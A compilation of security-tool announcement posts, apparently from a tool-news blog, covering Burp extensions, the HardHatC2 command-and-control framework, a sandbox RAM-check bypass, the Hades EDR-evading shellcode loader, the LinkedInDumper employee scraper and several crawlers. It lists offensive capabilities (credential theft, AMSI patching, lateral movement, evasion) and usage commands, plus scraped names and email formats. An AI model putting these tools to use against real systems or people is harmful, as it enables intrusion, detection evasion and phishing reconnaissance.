  1. Download the latest release of ReconAIzer
  2. Open Burp Suite
  3. Go back to the "Extensions" tab in Burp Suite.
  4. Click the "Add" button.
  5. In the "Add extension" dialog, select "Python" as the "Extension type."
  6. Click on the "Select file..." button next to "Extension file" and browse to the location where you saved the ReconAIzer.py file in Step 3.1. Select the file and click "Open."
  7. Make sure the "Load" checkbox is selected and click the "Next" button.
  8. Wait for the extension to be loaded. You should see a message in the "Output" section stating that the ReconAIzer extension has been successfully loaded.

Congratulations! You have successfully installed the ReconAIzer extension in Burp Suite. You can now start using it to enhance your bug bounty hunting experience.

Once it's done, you must configure your OpenAI API key on the "Config" tab under "ReconAIzer" tab.

Feel free to suggest prompts improvements or anything you would like to see on ReconAIzer!

Happy bug hunting!



HardHatC2 - A C# Command And Control Framework

By: Zion3R


A cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.

HardHat is a multiplayer C# .NET-based command and control framework. Designed to aid in red team engagements and penetration testing. HardHat aims to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.
It contains three primary components, an ASP.NET teamserver, a blazor .NET client, and C# based implants.


Release Tracking

Alpha Release - 3/29/23 NOTE: HardHat is in Alpha release; it will have bugs, missing features, and unexpected things will happen. Thank you for trying it, and please report back any issues or missing features so they can be addressed.

Community

Discord Join the community to talk about HardHat C2, Programming, Red teaming and general cyber security things The discord community is also a great way to request help, submit new features, stay up to date on the latest additions, and submit bugs.

Features

Teamserver & Client

  • Per-operator accounts with account tiers to allow customized access control and features, including view-only guest modes, team-lead opsec approval(WIP), and admin accounts for general operation management.
  • Managers (Listeners)
  • Dynamic Payload Generation (Exe, Dll, shellcode, PowerShell command)
  • Creation & editing of C2 profiles on the fly in the client
  • Customization of payload generation
    • sleep time/jitter
    • kill date
    • working hours
    • type (Exe, Dll, Shellcode, ps command)
    • Included commands(WIP)
    • option to run confuser
  • File upload & Downloads
  • Graph View
  • File Browser GUI
  • Event Log
  • JSON logging for events & tasks
  • Loot tracking (Creds, downloads)
  • IOC tracing
  • Pivot proxies (SOCKS 4a, Port forwards)
  • Cred store
  • Autocomplete command history
  • Detailed help command
  • Interactive bash terminal command if the client is on linux or powershell on windows, this allows automatic parsing and logging of terminal commands like proxychains
  • Persistent database storage of teamserver items (User accounts, Managers, Engineers, Events, tasks, creds, downloads, uploads, etc. )
  • Recon Entity Tracking (track info about users/devices, random metadata as needed)
  • Shared files for some commands (see teamserver page for details)
  • tab-based interact window for command issuing
  • table-based output option for some commands like ls, ps, etc.
  • Auto parsing of output from seatbelt to create "recon entities" and fill entries to reference back to later easily
  • Dark and Light
    theme

Engineers

  • C# .NET framework implant for windows devices, currently only CLR/.NET 4 support
  • atm only one implant, but looking to add others
  • It can be generated as EXE, DLL, shellcode, or PowerShell stager
  • Rc4 encryption of payload memory & heap when sleeping (Exe / DLL only)
  • AES encryption of all network communication
  • ConfuserEx integration for obfuscation
  • HTTP, HTTPS, TCP, SMB communication
    • TCP & SMB can work P2P in a bind or reverse setups
  • Unique per implant key generated at compile time
  • multiple callback URI's depending on the C2 profile
  • P/Invoke & D/Invoke integration for windows API calls
  • SOCKS 4a support
  • Reverse Port Forward & Port Forwards
  • All commands run as async cancellable jobs
    • Option to run commands sync if desired
  • Inline assembly execution & inline shellcode execution
  • DLL Injection
  • Execute assembly & Mimikatz integration
  • Mimikatz is not built into the implant but is pushed when specific commands are issued
  • Various localhost & network enumeration tools
  • Token manipulation commands
    • Steal Token Mask(WIP)
  • Lateral Movement Commands
  • Jump (psexec, wmi, wmi-ps, winrm, dcom)
  • Remote Execution (WIP)
  • AMSI & ETW Patching
  • Unmanaged Powershell
  • Script Store (can load multiple scripts at once if needed)
  • Spawn & Inject
    • Spawn-to is configurable
  • run, shell & execute

Documentation

documentation can be found at docs

Getting Started

Prerequisites

  • Installation of the .net 7 SDK from Microsoft
  • Once installed, the teamserver and client are started with dotnet run

Teamserver

To configure the team server's starting address (where clients will connect), edit the HardHatC2\TeamServer\Properties\LaunchSettings.json changing the "applicationUrl": "https://127.0.0.1:5000" to the desired location and port. start the teamserver with dotnet run from its top-level folder ../HrdHatC2/Teamserver/

HardHat Client

  1. When starting the client to set the target teamserver location, include it in the command line dotnet run https://127.0.0.1:5000 for example
  2. open a web browser and navigate to https://localhost:7096/ if this works, you should see the login page
  3. Log in with the HardHat_Admin user (Password is printed on first TeamServer startup)
  4. Navigate to the settings page & create a new user if successful, a message should appear, then you may log in with that account to access the full client

Contributions & Bug Reports

Code contributions are welcome feel free to submit feature requests, pull requests or send me your ideas on discord.



Burpgpt - A Burp Suite Extension That Integrates OpenAI's GPT To Perform An Additional Passive Scan For Discovering Highly Bespoke Vulnerabilities, And Enables Running Traffic-Based Analysis Of Any Type

By: Zion3R


burpgpt leverages the power of AI to detect security vulnerabilities that traditional scanners might miss. It sends web traffic to an OpenAI model specified by the user, enabling sophisticated analysis within the passive scanner. This extension offers customisable prompts that enable tailored web traffic analysis to meet the specific needs of each user. Check out the Example Use Cases section for inspiration.

The extension generates an automated security report that summarises potential security issues based on the user's prompt and real-time data from Burp-issued requests. By leveraging AI and natural language processing, the extension streamlines the security assessment process and provides security professionals with a higher-level overview of the scanned application or endpoint. This enables them to more easily identify potential security issues and prioritise their analysis, while also covering a larger potential attack surface.

[!WARNING] Data traffic is sent to OpenAI for analysis. If you have concerns about this or are using the extension for security-critical applications, it is important to carefully consider this and review OpenAI's Privacy Policy for further information.

[!WARNING] While the report is automated, it still requires triaging and post-processing by security professionals, as it may contain false positives.

[!WARNING] The effectiveness of this extension is heavily reliant on the quality and precision of the prompts created by the user for the selected GPT model. This targeted approach will help ensure the GPT model generates accurate and valuable results for your security analysis.

 

Features

  • Adds a passive scan check, allowing users to submit HTTP data to an OpenAI-controlled GPT model for analysis through a placeholder system.
  • Leverages the power of OpenAI's GPT models to conduct comprehensive traffic analysis, enabling detection of various issues beyond just security vulnerabilities in scanned applications.
  • Enables granular control over the number of GPT tokens used in the analysis by allowing for precise adjustments of the maximum prompt length.
  • Offers users multiple OpenAI models to choose from, allowing them to select the one that best suits their needs.
  • Empowers users to customise prompts and unleash limitless possibilities for interacting with OpenAI models. Browse through the Example Use Cases for inspiration.
  • Integrates with Burp Suite, providing all native features for pre- and post-processing, including displaying analysis results directly within the Burp UI for efficient analysis.
  • Provides troubleshooting functionality via the native Burp Event Log, enabling users to quickly resolve communication issues with the OpenAI API.

Requirements

  1. System requirements:
  • Operating System: Compatible with Linux, macOS, and Windows operating systems.

  • Java Development Kit (JDK): Version 11 or later.

  • Burp Suite Professional or Community Edition: Version 2023.3.2 or later.

    [!IMPORTANT] Please note that using any version lower than 2023.3.2 may result in a java.lang.NoSuchMethodError. It is crucial to use the specified version or a more recent one to avoid this issue.

  1. Build tool:
  • Gradle: Version 6.9 or later (recommended). The build.gradle file is provided in the project repository.
  1. Environment variables:
  • Set up the JAVA_HOME environment variable to point to the JDK installation directory.

Please ensure that all system requirements, including a compatible version of Burp Suite, are met before building and running the project. Note that the project's external dependencies will be automatically managed and installed by Gradle during the build process. Adhering to the requirements will help avoid potential issues and reduce the need for opening new issues in the project repository.

Installation

1. Compilation

  1. Ensure you have Gradle installed and configured.

  2. Download the burpgpt repository:

    git clone https://github.com/aress31/burpgpt
    cd .\burpgpt\
  3. Build the standalone jar:

    ./gradlew shadowJar

2. Loading the Extension Into Burp Suite

To install burpgpt in Burp Suite, first go to the Extensions tab and click on the Add button. Then, select the burpgpt-all jar file located in the .\lib\build\libs folder to load the extension.

Usage

To start using burpgpt, users need to complete the following steps in the Settings panel, which can be accessed from the Burp Suite menu bar:

  1. Enter a valid OpenAI API key.
  2. Select a model.
  3. Define the max prompt size. This field controls the maximum prompt length sent to OpenAI to avoid exceeding the maxTokens of GPT models (typically around 2048 for GPT-3).
  4. Adjust or create custom prompts according to your requirements.

Once configured as outlined above, the Burp passive scanner sends each request to the chosen OpenAI model via the OpenAI API for analysis, producing Informational-level severity findings based on the results.

Prompt Configuration

burpgpt enables users to tailor the prompt for traffic analysis using a placeholder system. To include relevant information, we recommend using these placeholders, which the extension handles directly, allowing dynamic insertion of specific values into the prompt:

Placeholder Description
{REQUEST} The scanned request.
{URL} The URL of the scanned request.
{METHOD} The HTTP request method used in the scanned request.
{REQUEST_HEADERS} The headers of the scanned request.
{REQUEST_BODY} The body of the scanned request.
{RESPONSE} The scanned response.
{RESPONSE_HEADERS} The headers of the scanned response.
{RESPONSE_BODY} The body of the scanned response.
{IS_TRUNCATED_PROMPT} A boolean value that is programmatically set to true or false to indicate whether the prompt was truncated to the Maximum Prompt Size defined in the Settings.

These placeholders can be used in the custom prompt to dynamically generate a request/response analysis prompt that is specific to the scanned request.

[!NOTE] > Burp Suite provides the capability to support arbitrary placeholders through the use of Session handling rules or extensions such as Custom Parameter Handler, allowing for even greater customisation of the prompts.

Example Use Cases

The following list of example use cases showcases the bespoke and highly customisable nature of burpgpt, which enables users to tailor their web traffic analysis to meet their specific needs.

  • Identifying potential vulnerabilities in web applications that use a crypto library affected by a specific CVE:

    Analyse the request and response data for potential security vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER}:

    Web Application URL: {URL}
    Crypto Library Name: {CRYPTO_LIBRARY_NAME}
    CVE Number: CVE-{CVE_NUMBER}
    Request Headers: {REQUEST_HEADERS}
    Response Headers: {RESPONSE_HEADERS}
    Request Body: {REQUEST_BODY}
    Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER} in the request and response data and report them.
  • Scanning for vulnerabilities in web applications that use biometric authentication by analysing request and response data related to the authentication process:

    Analyse the request and response data for potential security vulnerabilities related to the biometric authentication process:

    Web Application URL: {URL}
    Biometric Authentication Request Headers: {REQUEST_HEADERS}
    Biometric Authentication Response Headers: {RESPONSE_HEADERS}
    Biometric Authentication Request Body: {REQUEST_BODY}
    Biometric Authentication Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the biometric authentication process in the request and response data and report them.
  • Analysing the request and response data exchanged between serverless functions for potential security vulnerabilities:

    Analyse the request and response data exchanged between serverless functions for potential security vulnerabilities:

    Serverless Function A URL: {URL}
    Serverless Function B URL: {URL}
    Serverless Function A Request Headers: {REQUEST_HEADERS}
    Serverless Function B Response Headers: {RESPONSE_HEADERS}
    Serverless Function A Request Body: {REQUEST_BODY}
    Serverless Function B Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities in the data exchanged between the two serverless functions and report them.
  • Analysing the request and response data for potential security vulnerabilities specific to a Single-Page Application (SPA) framework:

    Analyse the request and response data for potential security vulnerabilities specific to the {SPA_FRAMEWORK_NAME} SPA framework:

    Web Application URL: {URL}
    SPA Framework Name: {SPA_FRAMEWORK_NAME}
    Request Headers: {REQUEST_HEADERS}
    Response Headers: {RESPONSE_HEADERS}
    Request Body: {REQUEST_BODY}
    Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the {SPA_FRAMEWORK_NAME} SPA framework in the request and response data and report them.

Roadmap

  • Add a new field to the Settings panel that allows users to set the maxTokens limit for requests, thereby limiting the request size.
  • Add support for connecting to a local instance of the AI model, allowing users to run and interact with the model on their local machines, potentially improving response times and data privacy.
  • Retrieve the precise maxTokens value for each model to transmit the maximum allowable data and obtain the most extensive GPT response possible.
  • Implement persistent configuration storage to preserve settings across Burp Suite restarts.
  • Enhance the code for accurate parsing of GPT responses into the Vulnerability model for improved reporting.

Project Information

The extension is currently under development and we welcome feedback, comments, and contributions to make it even better.

Sponsor

If this extension has saved you time and hassle during a security assessment, consider showing some love by sponsoring a cup of coffee

for the developer. It's the fuel that powers development, after all. Just hit that shiny Sponsor button at the top of the page or click here to contribute and keep the caffeine flowing.

Reporting Issues

Did you find a bug? Well, don't just let it crawl around! Let's squash it together like a couple of bug whisperers!

Please report any issues on the GitHub issues tracker. Together, we'll make this extension as reliable as a cockroach surviving a nuclear apocalypse!

Contributing

Looking to make a splash with your mad coding skills?

Awesome! Contributions are welcome and greatly appreciated. Please submit all PRs on the GitHub pull requests tracker. Together we can make this extension even more amazing!

License

See LICENSE.



Bypass-Sandbox-Evasion - Bypass Malware Sandbox Evasion Ram Check

By: Zion3R


Sandboxes are commonly used to analyze malware. They provide a temporary, isolated, and secure environment in which to observe whether a suspicious file exhibits any malicious behavior. However, malware developers have also developed methods to evade sandboxes and analysis environments. One such method is to perform checks to determine whether the machine the malware is being executed on is being operated by a real user. One such check is the RAM size. If the RAM size is unrealistically small (e.g., 1GB), it may indicate that the machine is a sandbox. If the malware detects a sandbox, it will not execute its true malicious behavior and may appear to be a benign file

Details

  • The GetPhysicallyInstalledSystemMemory API retrieves the amount of RAM that is physically installed on the computer from the SMBIOS firmware tables. It takes a PULONGLONG parameter and returns TRUE if the function succeeds, setting the TotalMemoryInKilobytes to a nonzero value. If the function fails, it returns FALSE.

       

  • The amount of physical memory retrieved by the GetPhysicallyInstalledSystemMemory function must be equal to or greater than the amount reported by the GlobalMemoryStatusEx function; if it is less, the SMBIOS data is malformed and the function fails with ERROR_INVALID_DATA, Malformed SMBIOS data may indicate a problem with the user's computer .

  • The register rcx holds the parameter TotalMemoryInKilobytes. To overwrite the jump address of GetPhysicallyInstalledSystemMemory, I use the following opcodes: mov qword ptr ss:[rcx],4193B840. This moves the value 4193B840 (or 1.1 TB) to rcx. Then, the ret instruction is used to pop the return address off the stack and jump to it, Therefore, whenever GetPhysicallyInstalledSystemMemory is called, it will set rcx to the custom value."



LinkedInDumper - Tool To Dump Company Employees From LinkedIn API

By: Zion3R

Python 3 script to dump company employees from LinkedIn API

Description

LinkedInDumper is a Python 3 script that dumps employee data from the LinkedIn social networking platform.

The results contain firstname, lastname, position (title), location and a user's profile link. Only 2 API calls are required to retrieve all employees if the company does not have more than 10 employees. Otherwise, we have to paginate through the API results. With the --email-format CLI flag one can define a Python string format to auto generate email addresses based on the retrieved first and last name.


Requirements

LinkedInDumper talks with the unofficial LinkedIn Voyager API, which requires authentication. Therefore, you must have a valid LinkedIn user account. To keep it simple, LinkedInDumper just expects a cookie value provided by you. Doing it this way, even 2FA protected accounts are supported. Furthermore, you are tasked to provide a LinkedIn company URL to dump employees from.

Retrieving LinkedIn Cookie

  1. Sign into www.linkedin.com and retrieve your li_at session cookie value e.g. via developer tools
  2. Specify the cookie value either persistently in the python script's variable li_at or temporarily during runtime via the CLI flag --cookie

Retrieving LinkedIn Company URL

  1. Search your target company on Google Search or directly on LinkedIn
  2. The LinkedIn company URL should look something like this: https://www.linkedin.com/company/apple

Usage

usage: linkedindumper.py [-h] --url <linkedin-url> [--cookie <cookie>] [--quiet] [--include-private-profiles] [--email-format EMAIL_FORMAT]

options:
-h, --help show this help message and exit
--url <linkedin-url> A LinkedIn company url - https://www.linkedin.com/company/<company>
--cookie <cookie> LinkedIn 'li_at' session cookie
--quiet Show employee results only
--include-private-profiles
Show private accounts too
--email-format Python string format for emails; for example:
[1] john.doe@example.com > '{0}.{1}@example.com'
[2] j.doe@example.com > '{0[0]}.{1}@example.com'
[3] jdoe@example.com > '{0[0]}{1}@example.com'
[4] doe@example.com > '{1}@example.com'
[5] john@example.com > '{0}@example.com'
[6] jd@example.com > '{0[0]}{1[0]}@example.com'

Example 1 - Docker Run

docker run --rm l4rm4nd/linkedindumper:latest --url 'https://www.linkedin.com/company/apple' --cookie <cookie> --email-format '{0}.{1}@apple.de'

Example 2 - Native Python

# install dependencies
pip install -r requirements.txt

python3 linkedindumper.py --url 'https://www.linkedin.com/company/apple' --cookie <cookie> --email-format '{0}.{1}@apple.de'

Outputs

The script will return employee data as semi-colon separated values (like CSV):

 ██▓     ██▓ ███▄    █  ██ ▄█▀▓█████ ▓█████▄  ██▓ ███▄    █ ▓█████▄  █    ██  ███▄ ▄███▓ ██▓███  ▓█████  ██▀███  
▓██▒ ▓██▒ ██ ▀█ █ ██▄█▒ ▓█ ▀ ▒██▀ ██▌▓██▒ ██ ▀█ █ ▒██▀ ██▌ ██ ▓██▒▓██▒▀█& #9600; ██▒▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒
▒██░ ▒██▒▓██ ▀█ ██▒▓███▄░ ▒███ ░██ █▌▒██▒▓██ ▀█ ██▒░██ █▌▓██ ▒██░▓██ ▓██░▓██░ ██▓▒▒███ ▓██ ░▄█ ▒
▒██░ ░██░▓██▒ ▐▌██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌&# 9617;██░▓██▒ ▐▌██▒░▓█▄ ▌▓▓█ ░██░▒██ ▒██ ▒██▄█▓▒ ▒▒▓█ ▄ ▒██▀▀█▄
░██████▒░██░▒██░ ▓██░▒██▒ █▄░▒████▒░▒████▓ ░██░▒██░ ▓██░░▒████▓ ▒▒█████▓ ▒██▒ ░██▒▒██▒ ░ ░░▒████& #9618;░██▓ ▒██▒
░ ▒░▓ ░░▓ ░ ▒░ ▒ ▒ ▒ ▒▒ ▓▒░░ ▒░ ░ ▒▒▓ ▒ ░▓ ░ ▒░ ▒ ▒ ▒▒▓ ▒ ░▒▓▒ ▒ ▒ ░ ▒░ ░ ░▒▓▒░ ░ ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░ ▒ ░ ▒ ░░ ░░ ░ ▒░░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ ▒ ░░ ░░ ░ ▒░ ░ ▒ ▒ ░░▒░ ░ ░ ░ ░ ░░▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ by LRVT

[i] Company Name: apple
[i] Company X-ID: 162479
[i] LN Employees: 1000 employees found
[i] Dumping Date: 17/10/2022 13:55:06
[i] Email Format: {0}.{1}@apple.de
Firstname;Lastname;Email;Position;Gender;Location;Profile
Katrin;Honauer;katrin.honauer@apple.com;Software Engineer at Apple;N/A;Heidelberg;https://www.linkedin.com/in/katrin-honauer
Raymond;Chen;raymond.chen@apple.com;Recruiting at Apple;N/A;Austin, Texas Metropolitan Area;https://www.linkedin.com/in/raytherecruiter

[i] Successfully crawled 2 unique apple employee(s). Hurray ^_-

Limitations

LinkedIn will allow only the first 1,000 search results to be returned when harvesting contact information. You may also need a LinkedIn premium account when you reached the maximum allowed queries for visiting profiles with your freemium LinkedIn account.

Furthermore, not all employee profiles are public. The results vary depending on your used LinkedIn account and whether you are befriended with some employees of the company to crawl or not. Therefore, it is sometimes not possible to retrieve the firstname, lastname and profile url of some employee accounts. The script will not display such profiles, as they contain default values such as "LinkedIn" as firstname and "Member" in the lastname. If you want to include such private profiles, please use the CLI flag --include-private-profiles. Although some accounts may be private, we can obtain the position (title) as well as the location of such accounts. Only firstname, lastname and profile URL are hidden for private LinkedIn accounts.

Finally, LinkedIn users are free to name their profile. An account name can therefore consist of various things such as saluations, abbreviations, emojis, middle names etc. I tried my best to remove some nonsense. However, this is not a complete solution to the general problem. Note that we are not using the official LinkedIn API. This script gathers information from the "unofficial" Voyager API.



Hades - Go Shellcode Loader That Combines Multiple Evasion Techniques

By: Zion3R


Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.


Usage

The easiest way, is probably building the project on Linux using make.

git clone https://github.com/f1zm0/hades && cd hades
make

Then you can bring the executable to a x64 Windows host and run it with .\hades.exe [options].

PS > .\hades.exe -h

'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'

version: dev [11/01/23] :: @f1zm0

Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]

Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]

Example:

Inject shellcode that spawms calc.exe with queueuserapc technique:

.\hades.exe -f calc.bin -t queueuserapc

Showcase

User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread hooked with frida-trace and custom handler)

Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)

Additional Notes

Direct syscall version

In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls tag to the compiler, which will figure out what files needs to be included and excluded from the build.

GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go

Disclaimers

Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.

Credits

Shoutout to the following people that shared their knowledge and code that inspired this tool:

License

This project is licensed under the GPLv3 License - see the LICENSE file for details



SpiderSuite - Advance Web Spider/Crawler For Cyber Security Professionals

By: Zion3R


An advance cross-platform and multi-feature GUI web spider/crawler for cyber security proffesionals. Spider Suite can be used for attack surface mapping and analysis. For more information visit SpiderSuite's website.


Installation and Usage

Spider Suite is designed for easy installation and usage even for first timers.

  • First, download the package of your choice.

  • Then install the downloaded SpiderSuite package.

  • See First time crawling with SpiderSuite article for tutorial on how to get started.

For complete documentation of Spider Suite see wiki.

Contributing

Can you translate?

Visit SpiderSuite's translation project to make translations to your native language.

Not a developer?

You can help by reporting bugs, requesting new features, improving the documentation, sponsoring the project & writing articles.

For More information see contribution guide.

Contributers

Credits

This product includes software developed by the following open source projects:



Metlo - An Open-Source API Security Platform

By: Zion3R

Secure Your API.


Metlo is an open-source API security platform

With Metlo you can:

  • Create an Inventory of all your API Endpoints and Sensitive Data.
  • Detect common API vulnerabilities.
  • Proactively test your APIs before they go into production.
  • Detect API attacks in real time.

Metlo does this by scanning your API traffic using one of our connectors and then analyzing trace data.


There are three ways to get started with Metlo. Metlo Cloud, Metlo Self Hosted, and our Open Source product. We recommend Metlo Cloud for almost all users as it scales to 100s of millions of requests per month and all upgrades and migrations are managed for you.

You can get started with Melto Cloud right away without a credit card. Just make an account on https://app.metlo.com and follow the instructions in our docs here.

Although we highly recommend Metlo Cloud, if you're a large company or need an air-gapped system you can self host Metlo as well! Create an account on https://my.metlo.com and follow the instructions on our docs here to setup Metlo in your own Cloud environment.

If you want to deploy our Open Source product we have instructions for AWS, GCP, Azure and Docker.

You can also join our Discord community if you need help or just want to chat!

Features

  • Endpoint Discovery - Metlo scans network traffic and creates an inventory of every single endpoint in your API.
  • Sensitive Data Scannning - Each endpoint is scanned for PII data and given a risk score.
  • Vulnerability Discovery - Get Alerts for issues like unauthenticated endpoints returning sensitive data, No HSTS headers, PII data in URL params, Open API Spec Diffs and more
  • API Security Testing - Build security tests directly in Metlo. Autogenerate tests for OWASP Top 10 vulns like BOLA, Broken Authentication, SQL Injection and more.
  • CI/CD Integration - Integrate with your CI/CD to find issues in development and staging.
  • Attack Detection - Our ML Algorithms build a model for baseline API behavior. Any deviation from this baseline is surfaced to your security team as soon as possible.
  • Attack Context - Metlo’s UI gives you full context around any attack to help quickly fix the vulnerability.

Testing

For tests that we can't autogenerate, our built in testing framework helps you get to 100% Security Coverage on your highest risk APIs. You can build tests in a yaml format to make sure your API is working as intendend.

For example the following test checks for broken authentication:

id: test-payment-processor-metlo.com-user-billing

meta:
name: test-payment-processor.metlo.com/user/billing Test Auth
severity: CRITICAL
tags:
- BROKEN_AUTHENTICATION

test:
- request:
method: POST
url: https://test-payment-processor.metlo.com/user/billing
headers:
- name: Content-Type
value: application/json
- name: Authorization
value: ...
data: |-
{ "ccn": "...", "cc_exp": "...", "cc_code": "..." }
assert:
- key: resp.status
value: 200
- request:
method: POST
url: https://test-payment-processor.metlo.com/user/billing
headers:
- name: Content-Type
value: application/json
data: |-
{ "ccn": "...", "cc_exp": "...", "cc_code": "..." }
assert:
- key: resp.s tatus
value: [ 401, 403 ]

You can see more information on our docs.

Why Metlo?

Most businesses have adopted public facing APIs to power their websites and apps. This has dramatically increased the attack surface for your business. There’s been a 200% increase in API security breaches in just the last year with the APIs of companies like Uber, Meta, Experian and Just Dial leaking millions of records. It's obvious that tools are needed to help security teams make APIs more secure but there's no great solution on the market.

Some solutions require you to go through sales calls to even try the product while others have you to send all your API traffic to their own cloud. Metlo is the first Open Source API security platform that you can self host, and get started for free right away!

We're Hiring!

We would love for you to come help us make Metlo better. Come join us at Metlo!

Open-source vs. paid

This repo is entirely MIT licensed. Features like user management, user roles and attack protection require an enterprise license. Contact us for more information.

Development

Checkout our development guide for more info on how to develop Metlo locally.



Katana - A Next-Generation Crawling And Spidering Framework


A next-generation crawling and spidering framework

FeaturesInstallationUsageScopeConfigFiltersJoin Discord

Features

  • Fast And fully configurable web crawling
  • Standard and Headless mode support
  • JavaScript parsing / crawling
  • Customizable automatic form filling
  • Scope control - Preconfigured field / Regex
  • Customizable output - Preconfigured fields
  • INPUT - STDIN, URL and LIST
  • OUTPUT - STDOUT, FILE and JSON

Installation

katana requires Go 1.18 to install successfully. To install, just run the below command or download pre-compiled binary from release page.

go install github.com/projectdiscovery/katana/cmd/katana@latest

Usage

katana -h

This will display help for the tool. Here are all the switches it supports.

Usage:
./katana [flags]

Flags:
INPUT:
-u, -list string[] target url / list to crawl

CONFIGURATION:
-d, -depth int maximum depth to crawl (default 2)
-jc, -js-crawl enable endpoint parsing / crawling in javascript file
-ct, -crawl-duration int maximum duration to crawl the target for
-kf, -known-files string enable crawling of known files (all,robotstxt,sitemapxml)
-mrs, -max-response-size int maximum response size to read (default 2097152)
-timeout int time to wait for request in seconds (default 10)
-aff, -automatic-form-fill enable optional automatic form filling (experimental)
-retry int number of times to retry the request (default 1)
-proxy string http/socks5 proxy to use
-H, -headers string[] custom hea der/cookie to include in request
-config string path to the katana configuration file
-fc, -form-config string path to custom form configuration file

DEBUG:
-health-check, -hc run diagnostic check up
-elog, -error-log string file to write sent requests error log

HEADLESS:
-hl, -headless enable headless hybrid crawling (experimental)
-sc, -system-chrome use local installed chrome browser instead of katana installed
-sb, -show-browser show the browser on the screen with headless mode
-ho, -headless-options string[] start headless chrome with additional options
-nos, -no-sandbox start headless chrome in --no-sandbox mode
-scp, -system-chrome-path string use specified chrome binary path for headless crawling
-noi, -no-incognito start headless chrome without incognito mode

SCOPE:
-cs, -crawl-scope string[] in scope url regex to be followed by crawler
-cos, -crawl-out-scope string[] out of scope url regex to be excluded by crawler
-fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) (default "rdn")
-ns, -no-scope disables host based default scope
-do, -display-out-scope display external endpoint from scoped crawling

FILTER:
-f, -field string field to display in output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir)
-sf, -store-field string field to store in per-host output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir)
-em, -extension-match string[] match output for given extension (eg, -em php,html,js)
-ef, -extension-filter string[] filter output for given extension (eg, -ef png,css)

RATE-LIMIT:
-c, -concurrency int number of concurrent fetchers to use (defaul t 10)
-p, -parallelism int number of concurrent inputs to process (default 10)
-rd, -delay int request delay between each request in seconds
-rl, -rate-limit int maximum requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute

OUTPUT:
-o, -output string file to write output to
-j, -json write output in JSONL(ines) format
-nc, -no-color disable output content coloring (ANSI escape codes)
-silent display output only
-v, -verbose display verbose output
-version display project version

Running Katana

Input for katana

katana requires url or endpoint to crawl and accepts single or multiple inputs.

Input URL can be provided using -u option, and multiple values can be provided using comma-separated input, similarly file input is supported using -list option and additionally piped input (stdin) is also supported.

URL Input

katana -u https://tesla.com

Multiple URL Input (comma-separated)

katana -u https://tesla.com,https://google.com

List Input

$ cat url_list.txt

https://tesla.com
https://google.com
katana -list url_list.txt

STDIN (piped) Input

echo https://tesla.com | katana
cat domains | httpx | katana

Example running katana -

katana -u https://youtube.com

__ __
/ /_____ _/ /____ ____ ___ _
/ '_/ _ / __/ _ / _ \/ _ /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/ v0.0.1

projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
https://www.youtube.com/
https://www.youtube.com/about/
https://www.youtube.com/about/press/
https://www.youtube.com/about/copyright/
https://www.youtube.com/t/contact_us/
https://www.youtube.com/creators/
https://www.youtube.com/ads/
https://www.youtube.com/t/terms
https://www.youtube.com/t/privacy
https://www.youtube.com/about/policies/
https://www.youtube.com/howyoutubeworks?utm_campaign=ytgen&utm_source=ythp&utm_medium=LeftNav&utm_content=txt&u=https%3A%2F%2Fwww.youtube.com %2Fhowyoutubeworks%3Futm_source%3Dythp%26utm_medium%3DLeftNav%26utm_campaign%3Dytgen
https://www.youtube.com/new
https://m.youtube.com/
https://www.youtube.com/s/desktop/4965577f/jsbin/desktop_polymer.vflset/desktop_polymer.js
https://www.youtube.com/s/desktop/4965577f/cssbin/www-main-desktop-home-page-skeleton.css
https://www.youtube.com/s/desktop/4965577f/cssbin/www-onepick.css
https://www.youtube.com/s/_/ytmainappweb/_/ss/k=ytmainappweb.kevlar_base.0Zo5FUcPkCg.L.B1.O/am=gAE/d=0/rs=AGKMywG5nh5Qp-BGPbOaI1evhF5BVGRZGA
https://www.youtube.com/opensearch?locale=en_GB
https://www.youtube.com/manifest.webmanifest
https://www.youtube.com/s/desktop/4965577f/cssbin/www-main-desktop-watch-page-skeleton.css
https://www.youtube.com/s/desktop/4965577f/jsbin/web-animations-next-lite.min.vflset/web-animations-next-lite.min.js
